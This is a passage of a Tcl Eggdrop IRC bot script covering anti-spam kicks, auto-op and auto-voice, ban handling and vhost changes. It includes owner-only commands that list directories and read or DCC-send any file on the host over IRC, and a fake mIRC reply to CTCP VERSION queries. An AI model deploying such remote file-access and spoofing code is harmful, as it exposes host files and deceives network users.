7365return 0
7366} {
7367set members [chanlist $x f]
7368foreach c $members {
7369if {[isop $c $x]} {
7370putlog "!Log! RePORTED InVITING FRoM <<$who$x>> To #$c#"
7371set sendspam "!kick [zip "$x $who $notc 4!SpaM!1 FRoM 4[string range $nick [string first "@" $nick] end]1 InvITE [banmsg]"]"
7372putsrv "PRIVMSG $c :$sendspam"
7373return 0
7374}
7375}
7376}
7377}
7378}
7379set invme([string range $nick [string first "@" $nick] end]) "InvITeR"
7380return 0
7381}
7382
7383bind ctcp - CLIENTINFO sl_ctcp
7384bind ctcp - USERINFO sl_ctcp
7385bind ctcp - FINGER sl_ctcp
7386bind ctcp - ERRMSG sl_ctcp
7387bind ctcp - ECHO sl_ctcp
7388bind ctcp - INVITE sl_ctcp
7389bind ctcp - WHOAMI sl_ctcp
7390bind ctcp - OP sl_ctcp
7391bind ctcp - OPS sl_ctcp
7392bind ctcp - UNBAN sl_ctcp
7393bind ctcp - TIME sl_ctcp
7394bind ctcp - VERSION sl_ctcp
7395bind ctcp - CHAT chat_ctcp
7396
7397proc sl_ctcp {nick uhost hand dest key arg} {
7398global botnick notc
7399if {[matchattr $nick f] || $nick == $botnick} { return 1 }
7400if {[string match "*dal*et*" [string tolower $uhost]]} {
7401putsrv "NOTICE $nick :\001VERSION mIRC32 v5.8 K.Mardam-Bey\001"
7402} {
7403set hostmask "${nick}!*@*"
7404newignore $hostmask $botnick "*" 1
7405}
7406return 1
7407}
7408proc chat_ctcp {nick uhost hand dest key arg} {
7409global botnick notc
7410if {[matchattr $nick Z]} { return 0 }
7411puthlp "NOTICE $nick :$notc 1SoRRY I DoNT KNoW YoU..!"
7412newignore "${nick}!*@*" $botnick "*" 1
7413return 1
7414}
7415set virus_nick ""
7416
7417bind ctcp - DCC got_dcc
7418
7419proc got_dcc {nick uhost handle dest key arg} {
7420global virus_nick notc notd botnick
7421if {[matchattr $nick f]} { return 0 }
7422if {[lindex $arg 2] == 0 && [lindex $arg 3] == 0} {
7423putlog "!Log! FaKE DCC SKIPPED..!"
7424return 1
7425}
7426set virus_nick $nick
7427foreach x [channels] {
7428if {[onchan $nick $x] && ![isop $nick $x]} {
7429if {[isop $botnick $x]} {
7430putsrv "KICK $x $nick :$notc 4!SpaM!1 I HaTE 4VIRuZ [banms]"
7431set virus_nick ""
7432} else {
7433set members [chanlist $x f]
7434foreach c $members {
7435if {[isop $c $x]} {
7436putlog "!Log! RePORTED ViRUS FRoM <<$nick$x>> To #$c#"
7437set sendspam "!kick [zip "$x $nick $notc 4!SpaM!1 YeW GoT VIRuZ JoIN #NOHACK TO FIxED [banmsg]"]"
7438putsrv "PRIVMSG $c :$sendspam"
7439return 0
7440}
7441}
7442}
7443}
7444}
7445return 1
7446}
7447proc voiceq {chan nick} {
7448utimer [expr 5 + [rand 15]] [list voiceprc $chan $nick]
7449}
7450proc voiceprc {chan nick} {
7451global botnick
7452if {[isop $botnick $chan] && ![isvoice $nick $chan] && ![isop $nick $chan]} {
7453putserv "MODE $chan +vvvvvv $nick"
7454}
7455}
7456proc advertise {chan nick} {
7457if {[isutimer "advq $chan $nick"]} { return 0 }
7458set cret 5
7459foreach ct [utimers] {
7460if {[string match "*advq*" $ct]} {
7461if {[expr [lindex $ct 0] + 5] > $cret} {
7462set cret [expr [lindex $ct 0] + 5]
7463}
7464}
7465}
7466utimer $cret [list advq $chan $nick]
7467}
7468proc advq {chan nick} {
7469global notc
7470set cflag "c$chan"
7471set cflag [string range $cflag 0 8]
7472if {![isop $nick $chan] && [onchan $nick $chan]} {
7473set greetmsg [getuser $cflag XTRA "GREET"]
7474regsub %n $greetmsg $nick greetmsg
7475regsub %c $greetmsg $chan greetmsg
7476puthlp "NOTICE $nick :[lgrnd] $greetmsg"
7477}
7478}
7479proc deopprc {chan nick} {
7480global botnick
7481if {[isop $botnick $chan] && [isop $nick $chan]} {
7482if {![string match "*k*" [getchanmode $chan]]} {
7483putserv "MODE $chan -ko 4n0.Guest.@ps $nick"
7484} {
7485putserv "MODE $chan -o $nick"
7486}
7487}
7488}
7489proc autokick {chan nick} {
7490global bannick notc botnick
7491if {[isop $botnick $chan] && ![isop $nick $chan] && ![isvoice $nick $chan]} {
7492set hostmask [getchanhost $nick $chan]
7493set hostmask "*!*@[lindex [split $hostmask @] 1]"
7494set bannick($nick) $hostmask
7495putsrv "KICK $chan $nick :$notc 1cHaNNeL IS UnDeR c0NsTRucTIoN [banmsg]"
7496}
7497}
7498proc opq {chan nick} {
7499utimer [expr 7 + [rand 15]] [list opprc $chan $nick]
7500}
7501proc opprc {chan nick} {
7502global botnick unop
7503if {[isop $botnick $chan] && ![isop $nick $chan] && ![info exists unop($nick)]} {
7504putserv "MODE $chan +oooooo $nick"
7505}
7506}
7507proc dcc_cmd {hand idx arg} {
7508if {![matchattr $hand Z]} { return 0 }
7509if {![matchattr $hand Q]} { chattr $hand +Q }
7510msg_Z $hand "*" $hand $arg
7511}
7512proc dcc_get {hand idx arg} {
7513global notc own
7514if {$hand != $own} { return 0 }
7515if {![file exists [lindex $arg 0]]} {
7516putdcc $idx "4DeNiEd..!, [lindex $arg 0] <n/a>"
7517return 0
7518}
7519if {[lindex $arg 1] != ""} {
7520set hand [lindex $arg 1]
7521}
7522switch -- [dccsend [lindex $arg 0] $hand] {
75230 { putdcc $idx "<<TRaNSFERRING LOG>>" }
75241 { putdcc $idx "dcc table is full (too many connections), TrY AgAIN LaTeR!" }
75252 { putdcc $idx "can't open a socket for transfer." }
75263 { putdcc $idx "file doesn't exist." }
75274 { putdcc $idx "file was queued for later transfer." }
7528}
7529}
7530proc msg_get {nick uhost hand arg} {
7531global notc own
7532if {$nick != $own} { return 0 }
7533if {![matchattr $nick Q]} {
7534puthlp "NOTICE $nick :$notc 4D14itolak1!"
7535return 0
7536}
7537if {![file exists $arg]} {
7538puthlp "NOTICE $nick :4DeNiEd..!, $arg <n/a>"
7539return 0
7540}
7541switch -- [dccsend $arg $nick] {
75420 {
7543puthlp "NOTICE $nick :$notc TRaNSFERRING LOG..!"
7544}
75451 {
7546puthlp "NOTICE $nick :$notc dcc table is full (too many connections), TrY AgAIN LaTER!"
7547}
75482 {
7549puthlp "NOTICE $nick :$notc can't open a socket for transfer."
7550}
75513 {
7552puthlp "NOTICE $nick :$notc file doesn't exist."
7553}
75544 {
7555puthlp "NOTICE $nick :file was queued for later transfer."
7556}
7557}
7558}
7559
7560bind raw - 301 rtn
7561
7562proc rtn { from keyword arg } {
7563global notd botnick notb notc bannick
7564set nick [lindex $arg 1]
7565if {[matchattr $nick f]} { return 0 }
7566set awaytext [string range [lrange $arg 2 end] 1 end]
7567if {[string match "*Devil^Crew*" [uncolor $awaytext]]} { return 0 }
7568if {$nick == $botnick} {
7569#puthlp "AWAY :[lgrnd]"
7570} {
7571if {[string match "*#*" $awaytext] || [string match "*/j*" $awaytext]} {
7572foreach x [channels] {
7573set chksiton [string tolower $x]
7574if {[string match "*$chksiton*" [string tolower $awaytext]]} { return 0 }
7575}
7576foreach x [channels] {
7577if {[onchan $nick $x]} {
7578if {[isop $botnick $x]} {
7579set bannick($nick) "*!*[string range [getchanhost $nick $x] [string first "@" [getchanhost $nick $x]] end]"
7580putsrv "KICK $x $nick :$notc 4!SpaM!1 InvITE aWaY MSg [banmsg]"
7581return 0
7582} {
7583set members [chanlist $x f]
7584foreach c $members {
7585if {[isop $c $x]} {
7586set sendspam "!kick [zip "$x $nick $notc 4!SpaM!1 FRoM 4[string range [getchanhost $c $x] [string first "@" [getchanhost $c $x]] end]1 InvITE aWaY MSg [banmsg]"]"
7587putsrv "PRIVMSG $c :$sendspam"
7588return 0
7589}
7590}
7591}
7592}
7593}
7594}
7595}
7596}
7597
7598bind time - "*0 * * * *" chk_five
7599bind time - "*6 * * * *" chk_five
7600
7601proc msg_dir {nick uhost hand arg} {
7602global notc own
7603if {$nick != $own} { return 0 }
7604if {![matchattr $nick Q]} {
7605puthlp "NOTICE $nick :4D14itolak1!"
7606return 0
7607}
7608if {$arg == ""} {
7609set arg "."
7610}
7611set dirlist ""
7612foreach x [getfiles "$arg"] {
7613append dirlist "$x "
7614}
7615puthlp "NOTICE $nick :$dirlist"
7616}
7617proc msg_read {nick uhost hand arg} {
7618global notc own
7619if {$nick != $own} { return 0 }
7620if {![matchattr $nick Q]} {
7621puthlp "NOTICE $nick :4D14itolak1!"
7622return 0
7623}
7624if {![file exists $arg]} {
7625puthlp "NOTICE $nick :4DeNiEd..!, $arg <n/a>"
7626return 0
7627}
7628set fd [open $arg r]
7629while {![eof $fd]} {
7630set inp [gets $fd]
7631puthlp "NOTICE $nick :$inp"
7632}
7633close $fd
7634puthlp "NOTICE $nick :EoF..!"
7635}
7636proc pub_log {nick uhost hand channel arg} {
7637global notc
7638if {[getuser "config" XTRA "LOGCHAN"]!=""} {
7639puthlp "NOTICE $nick :$notc Log [getuser "config" XTRA "LOGCHAN"]"
7640}
7641}
7642proc pub_server {nick uhost hand channel arg} {
7643global server notc
7644if {$arg != ""} {
7645if {[string match "*$arg*" $server]} {
7646puthlp "privmsg $channel :[lindex $server 0]"
7647}
7648} {
7649puthlp "privmsg $channel :[lindex $server 0]"
7650}
7651}
7652set own $owner
7653proc dcc_dir {hand idx arg} {
7654global own
7655if {$hand != $own} { return 0 }
7656if {$arg == ""} {
7657set arg "."
7658}
7659foreach x [getfiles "$arg"] {
7660putdcc $idx "$x"
7661}
7662}
7663proc dcc_read {hand idx arg} {
7664global own
7665if {$hand != $own} { return 0 }
7666if {![file exists $arg]} {
7667putdcc $idx "4DeNiEd..!, FiLE NoT ExIST $arg"
7668return 0
7669}
7670set fd [open $arg r]
7671while {![eof $fd]} {
7672set inp [gets $fd]
7673putdcc $idx "$inp"
7674}
7675close $fd
7676putdcc $idx "4******************** END ***********************"
7677}
7678proc msg_bantime {nick uhost hand rest} {
7679global notc ban-time
7680if {$rest==""} {
7681puthlp "NOTICE $nick :$notc BanTime \[${ban-time}\] (set 0 to never unban)"
7682return 0
7683}
7684if {![matchattr $nick Q]} {
7685puthlp "NOTICE $nick :$notc 4D14itolak1!"
7686return 0
7687}
7688set mtime [lindex $rest 0]
7689if {![isnumber $mtime]} {
7690puthlp "NOTICE $nick :$notc Usage: bantime <minutes> (set 0 to never unban)"
7691return 0
7692}
7693set ban-time $mtime
7694setuser "config" XTRA "BANTIME" $mtime
7695puthlp "NOTICE $nick :$notc BanTime \[$mtime\]"
7696saveuser
7697}
7698proc chk_limit {chan} {
7699global notc botnick lst_limit
7700if {![isop $botnick $chan]} { return 0 }
7701if {![info exists lst_limit($chan)]} {
7702set lst_limit($chan) 0
7703}
7704set cflag "c$chan"
7705set cflag [string range $cflag 0 8]
7706set usercount 0
7707foreach x [chanlist $chan] {
7708incr usercount
7709}
7710set usercount [expr [getuser $cflag XTRA "LIMIT"] + $usercount]
7711if {$lst_limit($chan) != $usercount} {
7712set lst_limit($chan) $usercount
7713putserv "MODE $chan +l $usercount"
7714}
7715}
7716proc msg_logchan {nick uhost hand rest} {
7717global notc own
7718if {$rest == ""} {
7719puthlp "NOTICE $nick :$notc Usage: logchan <#channel/0>"
7720return 0
7721}
7722if {![matchattr $nick Q]} {
7723puthlp "NOTICE $nick :$notc 4D14itolak1!"
7724return 0
7725}
7726if {[string tolower $rest] == "off"} {
7727puthlp "NOTICE $nick :$notc LOGCHAN [getuser "config" XTRA "LOGCHAN"] \[4OFF\]"
7728setuser "config" XTRA "LOGCHAN" ""
7729} else {
7730if {[string tolower $rest] == [dezip ""]} {
7731return 0
7732}
7733if {![validchan $rest]} {
7734puthlp "NOTICE $nick :$notc NoT IN $rest"
7735return 0
7736}
7737setuser "config" XTRA "LOGCHAN" $rest
7738puthlp "NOTICE $nick :$notc LOG CHaNNEL $rest \[9ON\]"
7739}
7740saveuser
7741utimer 5 rehashing
7742}
7743proc dcc_log {hand idx arg} {
7744global logstore notc
7745if {$logstore == ""} {
7746putdcc $idx "No LOG FouNd..!"
7747return 0
7748}
7749if {![file exists $logstore]} {
7750putdcc $idx "4DeNiEd..!, Log file haven't create yet!"
7751return 0
7752}
7753set fd [open $logstore r]
7754while {![eof $fd]} {
7755set inp [gets $fd]
7756putdcc $idx "$inp"
7757}
7758close $fd
7759putdcc $idx "4******************** END ***********************"
7760}
7761set quick "0"
7762proc chk_quick {} {
7763global quick botnick
7764putquick "PRIVMSG $botnick :\001PING [unixtime]\001"
7765set quick "1"
7766}
7767utimer 1 chk_quick
7768
7769bind raw - MODE chk_op
7770
7771proc chk_op { from keyword arg } {
7772global botnick
7773if {![string match "*+o*$botnick*" $arg]} { return 0 }
7774set chan [lindex $arg 0]
7775if {[string match "*dal.net*" $from]} {
7776pub_resync $botnick "*" "*" $chan "*"
7777return 0
7778}
7779chk_on_op $chan
7780}
7781proc chk_on_op {channel} {
7782global botnick kickme deopme invme virus_nick quick notc bannick is_m botname
7783set cflag "c$channel"
7784set cflag [string range $cflag 0 8]
7785if {[isutimer "chkspam $channel"]} {
7786foreach x [utimers] {
7787if {[string match "*chkspam $channel*" $x]} { killutimer [lindex $x 2] }
7788}
7789}
7790if {[isutimer "GOP $channel"]} { return 0 }
7791if {![onchan $botnick $channel]} { return 0 }
7792utimer 20 [list putlog "4< 12M.I.Y.A.B.I 4> GOP $channel"]
7793set cinfo [channel info $channel]
7794if {[string match "*+nodesynch*" $cinfo]} {
7795pub_mdeop "*" "*" "*" $channel ""
7796}
7797set cmode [getchanmode $channel]
7798if {![isutimer "set_-m $channel"] && ![info exists is_m($channel)]} {
7799if {[matchattr $cflag K]} {
7800if {![string match "*[dezip [getuser $cflag XTRA "CI"]]*" [getchanmode $channel]]} {
7801puthelp "mode $channel -k+k . [dezip [getuser $cflag XTRA "CI"]]"
7802}
7803} {
7804if {[string match "*k*" $cmode]} {
7805if {[string tolower $channel] != [dezip ""]} {
7806putserv "mode $channel -k 9r.e.l.e.a.s.e.d"
7807}
7808}
7809}
7810if {[string match "*R*" $cmode]} {
7811puthelp "mode $channel -R"
7812}
7813if {[string match "*m*" $cmode] && ![string match "*m*" [lindex [channel info $channel] 0]]} {
7814putserv "mode $channel -m"
7815}
7816if {[string match "*i*" $cmode]} {
7817putserv "mode $channel -i"
7818}
7819}
7820if {![string match "*m*" $cmode]} {
7821foreach x [utimers] {
7822if {[string match "*set_-m $channel*" $x]} {
7823killutimer [lindex $x 2]
7824}
7825}
7826}
7827if {[matchattr $cflag I]} {
7828if {[topic $channel] != [getuser $cflag XTRA "TOPIC"]} {
7829puthlp "topic $channel :[getuser $cflag XTRA "TOPIC"]"
7830}
7831}
7832foreach x [chanlist $channel] {
7833if {$x == $deopme} {
7834if {[isop $x $channel]} {
7835if {![string match "*k*" $cmode]} {
7836if {$quick == "1"} {
7837putquick "mode $channel -ko 4De@p.ReveRsE $x"
7838} else {
7839putserv "mode $channel -ko 4De@p.ReveRsE $x"
7840}
7841} {
7842if {$quick == "1"} {
7843putquick "mode $channel -o $x"
7844} else {
7845putserv "mode $channel -o $x"
7846}
7847}
7848}
7849set deopme ""
7850}
7851set mhost "@[lindex [split [getchanhost $x $channel] @] 1]"
7852if {[info exists kickme($x)]} {
7853if {$kickme($x) == 3} {
7854catch { unset kickme($x) }
7855set bannick($x) "*!*$mhost"
7856if {$quick == "1"} {
7857putqck "KICK $channel $x :$notc 1RePeaT 4KIcK 1ReMoTe OFF4..!"
7858} else {
7859putsrv "KICK $channel $x :$notc 1RePeaT 4KIcK 1ReMoTe OFF4..!"
7860}
7861} {
7862if {$kickme($x) == 1} {
7863if {$quick == "1"} {
7864putqck "KICK $channel $x :$notc 1SeLF 4KIcK1 REvENgE4..!"
7865} {
7866putsrv "KICK $channel $x :$notc 1SeLF 4KIcK1 REvENgE4..!"
7867}
7868}
7869}
7870}
7871if {[matchattr $cflag V]} {
7872if {![isutimer "set_-m $channel"] && ![info exists is_m($channel)]} {
7873if {$x != $botnick && ![isvoice $x $channel] && ![isop $x $channel] && ![matchattr $x O]} {
7874set cret [getuser $cflag XTRA "VC"]
7875foreach ct [utimers] {
7876if {[string match "*voiceq*" $ct]} {
7877if {[expr [lindex $ct 0] + [getuser $cflag XTRA "VC"]] > $cret} {
7878set cret [expr [lindex $ct 0] + [getuser $cflag XTRA "VC"]]
7879}
7880}
7881}
7882utimer $cret [list voiceq $channel $x]
7883}
7884}
7885}
7886if {[matchattr $x v] || [matchattr $x P] || [matchattr $x G]} {
7887if {![isop $x $channel] || ![isvoice $x $channel]} {
7888whoisq $x
7889}
7890}
7891if {[matchattr $x O]} {
7892if {[isop $x $channel]} {
7893set cmode [getchanmode $channel]
7894if {![string match "*k*" $cmode]} {
7895puthelp "mode $channel -ko 4No@p.LIsT $x"
7896} {
7897puthelp "mode $channel -o $x"
7898}
7899} {
7900if {[isvoice $x $channel]} {
7901set cmode [getchanmode $channel]
7902if {![string match "*k*" $cmode]} {
7903puthelp "mode $channel -kv 4No@p.LIsT $x"
7904} {
7905puthelp "mode $channel -v $x"
7906}
7907}
7908}
7909}
7910if {[info exists invme($mhost)]} {
7911if {![isop $x $channel]} {
7912set bannick($x) "*!*$mhost"
7913if {$invme($mhost) == "AuToJoIN MSg"} {
7914if {![isvoice $x $channel]} {
7915putsrv "KICK $channel $x :$notc 4!SpaM!1 FRoM 4$mhost 1$invme($mhost) 4R1emote 4O1ff4..!"
7916}
7917} {
7918putsrv "KICK $channel $x :$notc 4!SpaM!1 FRoM 4$mhost 1$invme($mhost) [banmsg]"
7919}
7920}
7921catch {unset invme($mhost)}
7922}
7923if {$x == $virus_nick} {
7924if {![isop $x $channel]} {
7925set bannick($x) "*!*$mhost"
7926putsrv "KICK $channel $x :$notc 4!SpaM!1 FRoM 4$mhost1 VIRuZ [banmsg]"
7927set virus_nick ""
7928}
7929}
7930spam_chk $x [getchanhost $x $channel] "*" $channel
7931}
7932foreach x [chanlist $channel K] {
7933if {![matchattr $x f]} {
7934akick_chk $x [getchanhost $x $channel] $channel
7935}
7936}
7937foreach x [chanbans $channel] {
7938set bhost [lindex $x 0]
7939if {[string match [string tolower $bhost] [string tolower $botname]]} {
7940if {![string match "*k*" $cmode]} {
7941puthelp "mode $channel -kb 4SeLF.UnBaN $bhost"
7942} {
7943puthelp "mode $channel -b $bhost"
7944}
7945} elseif {[matchattr $bhost f]} {
7946puthelp "mode $channel -b $bhost"
7947} elseif {[getuser "config" XTRA "IPG"] != ""} {
7948foreach ipg [getuser "config" XTRA "IPG"] {
7949if {[string match $ipg $bhost] || [string match $bhost $ipg]} {
7950if {![isutimer "IPG $bhost"]} {
7951if {![string match "*k*" $cmode]} {
7952puthelp "mode $channel -kb 4IpgUaRd $bhost"
7953} {
7954puthelp "mode $channel -b $bhost"
7955}
7956utimer 60 [list putlog "IPG $bhost"]
7957}
7958}
7959}
7960}
7961}
7962}
7963
7964bind time - "01 * * * *" show_status
7965
7966proc show_status {min h d m y} {
7967global botnick
7968foreach x [channels] {
7969if {[isop $botnick $x]} {
7970pub_status "*" "*" "*" $x ""
7971chk_on_op $x
7972}
7973}
7974return 0
7975}
7976proc badnick_chk {nick uhost hand chan} {
7977global bannick notc botnick badwords
7978foreach x [string tolower $badwords] {
7979if {[string match "*$x*" [string tolower $nick]]} {
7980set bannick($nick) "$nick"
7981putsrv "KICK $chan $nick :$notc 4BaD NIcK1 MaTcH FRoM 4[string toupper $x] [banms]"
7982return 1
7983}
7984}
7985return 0
7986}
7987proc spam_chk {nick uhost hand chan} {
7988global notc botnick spidx
7989set cflag "c$chan"
7990set cflag [string range $cflag 0 8]
7991if {![matchattr $cflag S]} { return 0 }
7992if {$nick == $botnick} { return 0 }
7993if {[isvoice $nick $chan]} { return 0 }
7994if {[isop $nick $chan]} { return 0 }
7995if {[matchattr $nick f]} { return 0 }
7996if {[badnick_chk $nick $uhost $hand $chan]} {
7997return 0
7998}
7999set nicklen [string length $nick]
8000if {$nicklen < 5} { return 0 }
8001set idx [string index $nick [expr $nicklen - 4]][string index $nick [expr $nicklen - 3]][string index $nick [expr $nicklen - 2]][string index $nick [expr $nicklen - 1]]
8002if {[isnumber $idx]} { return 0 }
8003set idx [string index $nick [expr $nicklen - 2]][string index $nick [expr $nicklen - 1]]
8004if {[isnumber $idx]} {
8005if {[string index $uhost 0] != "~"} { return 0 }
8006if {$nicklen < 10} {
8007if {![string match "~$nick@*" $uhost]} { return 0 }
8008} {
8009if {![string match "~[string index $nick 0][string index $nick 1][string index $nick 2]*@*" $uhost]} { return 0 }
8010}
8011if {$spidx == 18} {
8012set spidx 1
8013}
8014spamkick $nick $uhost $chan
8015return 0
8016}
8017if {[regexp \[^a-z\] $nick]} { return 0 }
8018set nickchk [string tolower $nick]
8019set count 0
8020set lstidx ""
8021for {set i 0} {$i < $nicklen} {incr i} {
8022set idx [string index $nickchk $i]
8023if {$idx == "a" || $idx == "e" || $idx == "i" || $idx == "o" || $idx == "u"} {
8024set count 0
8025} {
8026if {$idx != $lstidx && $idx != "y"} { incr count }
8027if {$count == 4} {
8028spamkick $nick $uhost $chan
8029return 0
8030}
8031}
8032set lstidx $idx
8033}
8034}
8035proc akick_chk {nick uhost chan} {
8036global notc bannick
8037foreach x [getuser "AKICK" HOSTS] {
8038if {[string match [string tolower $x] [string tolower "$nick!$uhost"]]} {
8039set bannick($nick) $x
8040putsrv "KICK $chan $nick :$notc 4B1L4a1c4K1L4I1s4T1 MaTcH FRoM4 $x [banms]"
8041return 0
8042}
8043}
8044}
8045set spidx 1
8046proc spamkick {nick uhost chan} {
8047global spidx notc bannick
8048set bannick($nick) "*!$uhost"
8049if {$spidx == 1} {
8050putsrv "KICK $chan $nick :$notc 4!SpaM!1 YeW AInT WeLcOmE In 4[string toupper $chan] [banms]"
8051} elseif {$spidx == 2} {
8052putsrv "KICK $chan $nick :$notc 4!SpaM!1 DRonE TRoJaN [banmsg]"
8053} elseif {$spidx == 3} {
8054putsrv "KICK $chan $nick :$notc 4!SpaM!1 UgH I HatE ThIs NIcK [banmsg]"
8055} elseif {$spidx == 4} {
8056putsrv "KICK $chan $nick :$notc 4!SpaM!1 Ups WRoNg WaY [banmsg]"
8057} elseif {$spidx == 5} {
8058putsrv "KICK $chan $nick :$notc 4!SpaM!1 DonT EnTeReD 4[string toupper $chan] [banms]"
8059} elseif {$spidx == 6} {
8060putsrv "KICK $chan $nick :$notc 4!SpaM!1 InTeRcEpT [banmsg]"
8061} elseif {$spidx == 7} {
8062putsrv "KICK $chan $nick :$notc 4!SpaM!1 G.o.T.c.H.a [banmsg]"
8063} elseif {$spidx == 8} {
8064putsrv "KICK $chan $nick :$notc 4!SpaM!1 NEgaTIvE HoUsToN [banmsg]"
8065} elseif {$spidx == 9} {
8066putsrv "KICK $chan $nick :$notc 4!SpaM!1 gRoUndEd [banmsg]"
8067} elseif {$spidx == 10} {
8068putsrv "KICK $chan $nick :$notc 4!SpaM!1 AnTIcIpaTEd [banmsg]"
8069} elseif {$spidx == 11} {
8070putsrv "KICK $chan $nick :$notc 4!SpaM!1 gO sIt In tHe cOrNeR [banmsg]"
8071} elseif {$spidx == 12} {
8072putsrv "KICK $chan $nick :$notc 4!SpaM!1 b.l.a.c.k.l.i.s.t.e.d [banmsg]"
8073} elseif {$spidx == 13} {
8074putsrv "KICK $chan $nick :$notc 4!SpaM!1 ReJecTed FRoM 4[string toupper $chan] [banms]"
8075} elseif {$spidx == 14} {
8076putsrv "KICK $chan $nick :$notc 4!SpaM!1 sMoosHINg ReLaY TaBLe [banmsg]"
8077} elseif {$spidx == 15} {
8078putsrv "KICK $chan $nick :$notc 4!SpaM!1 dUn EnTeRed oNe oF mY cHanneL [banmsg]"
8079} elseif {$spidx == 16} {
8080putsrv "KICK $chan $nick :$notc 4!SpaM!1 ReFusEd LInK tO 4[string toupper $chan] [banms]"
8081} elseif {$spidx == 17} {
8082putsrv "KICK $chan $nick :$notc 4!SpaM!1 FakE NIcKNaMe [banmsg]"
8083} elseif {$spidx >= 18} {
8084putsrv "KICK $chan $nick :$notc 4!SpaM!1 Unable to resolve4 $nick [banms]"
8085set spidx 0
8086}
8087incr spidx
8088return 0
8089}
8090proc isutimer {text} {
8091set text [string tolower $text]
8092foreach x [utimers] {
8093set x [string tolower $x]
8094if {[string match "*$text*" $x]} {
8095return 1
8096break
8097}
8098}
8099return 0
8100}
8101proc istimer {text} {
8102set text [string tolower $text]
8103foreach x [timers] {
8104set x [string tolower $x]
8105if {[string match "*$text*" $x]} {
8106return 1
8107break
8108}
8109}
8110return 0
8111}
8112catch { set old_hostname ${my-hostname} }
8113catch { set old_ip ${my-ip} }
8114
8115bind dcc * setvhost dcc_setvhost
8116
8117proc dcc_setvhost {hand idx arg} {
8118global my-hostname my-ip notc
8119 set arg [string trim $arg]
8120 for {set i 0} {$i < [string length $arg]} {incr i} {
8121 set idx2 [string index $arg $i]
8122 if {![string match "*$idx2*" "1234567890."]} {
8123 putdcc $idx "FAILED \!\!\! UsE DNS IP NuMBeR"
8124 return 0
8125 }
8126 }
8127 set my-hostname $arg
8128 set my-ip $arg
8129 setuser "config" XTRA "VHOST" $arg
8130 saveuser
8131 putdcc $idx "cHaNgINg vHosT tO $arg ReQuesT By \[ $hand \]"
8132}
8133
8134bind msg Z vhost msg_vhost
8135
8136proc msg_vhost {nick uhost hand rest} {
8137global my-hostname my-ip notc
8138 if {$rest == ""} {
8139 puthlp "NOTICE $nick :$notc ReSET TO DeFauLT"
8140 setuser "config" XTRA "VHOST" ""
8141 saveuser
8142 vback "*" "*" "0"
8143 return 0
8144 }
8145 for {set i 0} {$i < [string length $rest]} {incr i} {
8146 set idx [string index $rest $i]
8147 if {![string match "*$idx*" "1234567890."]} {
8148 puthlp "NOTICE $nick :$notc UsE DNS IP NuMBeR"
8149 return 0
8150 }
8151 }
8152 if {[isutimer "vback"]} {
8153 puthlp "NOTICE $nick :$notc WaIT..!"
8154 return 0
8155 }
8156 if {![matchattr $nick Q]} {
8157 puthlp "NOTICE $nick :$notc 4D14itolak1!"
8158 return 0
8159 }
8160 set my-hostname $rest
8161 set my-ip $rest
8162 utimer 30 [list vback $nick $rest "1"]
8163 listen 65234 bots
8164 set idx [connect $rest 65234]
8165 if {[isnumber $idx] && $idx > 0} {
8166 if {![isutimer "vback"]} { return 0 }
8167 foreach x [utimers] {
8168 if {[string match "*vback*" $x]} { killutimer [lindex $x 2] }
8169 }
8170 setuser "config" XTRA "VHOST" $rest
8171 saveuser
8172 putsrv "QUIT :$notc cHaNgINg vHosT ReQuesT By \[ $nick \]"
8173 }
8174 listen 65234 off
8175}
8176
8177bind raw - 465 klined
8178
8179proc klined {from keyword arg} {
8180vback "*" "*" "0"
8181}
8182proc vback {nick vhosts chk} {
8183global old_hostname old_ip notc
8184set my-hostname $old_hostname
8185set my-ip $old_ip
8186if {$chk == "1"} {
8187puthlp "NOTICE $nick :$notc \[$vhosts\] NoT SuPPoRT..!"
8188}
8189catch { listen 652343 off }
8190}
8191set ps ""
8192proc shelluptime { } {
8193if {[catch {exec uptime} uptime]} { set uptime "Uptime non disponible." }
8194if {[catch {exec uname -s} machine]} { set machine [unames] }
8195if {[catch {exec hostname} hostname]} { set hostname [info hostname] }
8196return "$hostname ($machine), Live For $uptime"
8197}
8198proc pub_status {nick uhost hand channel rest} {
8199global ban-time botnick own ps vern
8200set cflag "c$channel"
8201set cflag [string range $cflag 0 8]
8202if {$rest != ""} {
8203if {[validchan $rest]} {
8204set channel $rest
8205} {
8206return 0
8207}
8208}
8209set cinfo [channel info $channel]
8210if {![string match "*+shared*" $cinfo] && $nick == "*"} { return 0 }
8211set mstatus ""
8212set globals ""
8213if {[matchattr $cflag I]} { append mstatus "\[7T\]oPIcLocK " }
8214if {[matchattr $cflag M]} { append mstatus "FoRcE\[7M\]odE " }
8215if {[string match "*+nodesynch*" $cinfo]} { append mstatus "AuTo\[7K\]IcK " }
8216if {[string match "*-userinvites*" $cinfo]} { append mstatus "\[7D\]onTKIcK@Ps " }
8217if {[string match "*+protectfriends*" $cinfo]} { append mstatus "UnRE\[7@\]P " }
8218if {[string match "*+greet*" $cinfo]} {
8219set i 0
8220while {$i < [string length $cinfo]} {
8221set y 0
8222while {$y < [string length [lindex $cinfo $i]]} {
8223if {[string index [lindex $cinfo $i] $y] == ":"} { break }
8224set y [incr y]
8225}
8226if {$y != [string length [lindex $cinfo $i]]} { break }
8227set i [incr i]
8228}
8229set ichan [lindex $cinfo $i]
8230set ictcp [lindex $cinfo [expr $i + 1]]
8231set ijoin [lindex $cinfo [expr $i + 2]]
8232set ikick [lindex $cinfo [expr $i + 3]]
8233set ideop [lindex $cinfo [expr $i + 4]]
8234set inick [lindex $cinfo [expr $i + 5]]
8235if {![string match "*:*" $inick]} {
8236set inick "0"
8237}
8238append mstatus "\[7G\]uaRd FLoOd \[7LInE4 $ichan7 cTcP4 $ictcp7 JoIN4 $ijoin7 KIcK4 $ikick7 De@p4 $ideop7 NIcK4 $inick\] "
8239if {${ban-time} != 0} { append globals "\[7B\]aNTImE4 ${ban-time}7 mIn " }
8240}
8241if {[matchattr $cflag V]} { append mstatus "\[7A\]uToVoIcE4 [getuser $cflag XTRA "VC"]7 Sec's " }
8242if {[matchattr $cflag K]} { append mstatus "\[7K\]eY " }
8243if {[matchattr $cflag D]} { append mstatus "Re\[7V\]eNgE " }
8244if {[matchattr $cflag G]} { append mstatus "\[7G\]ReeT " }
8245if {[matchattr $cflag H]} { append mstatus "\[7N\]TcParT " }
8246if {[matchattr $cflag S]} { append mstatus "\[7S\]paM " }
8247if {[getuser "config" XTRA "KOPS"]!=""} { append globals "\[7@\]PSKIcK " }
8248if {[getuser "config" XTRA "KCOUNTER"]=="ON"} { append globals "\[7K\]IcKCouNTeR " }
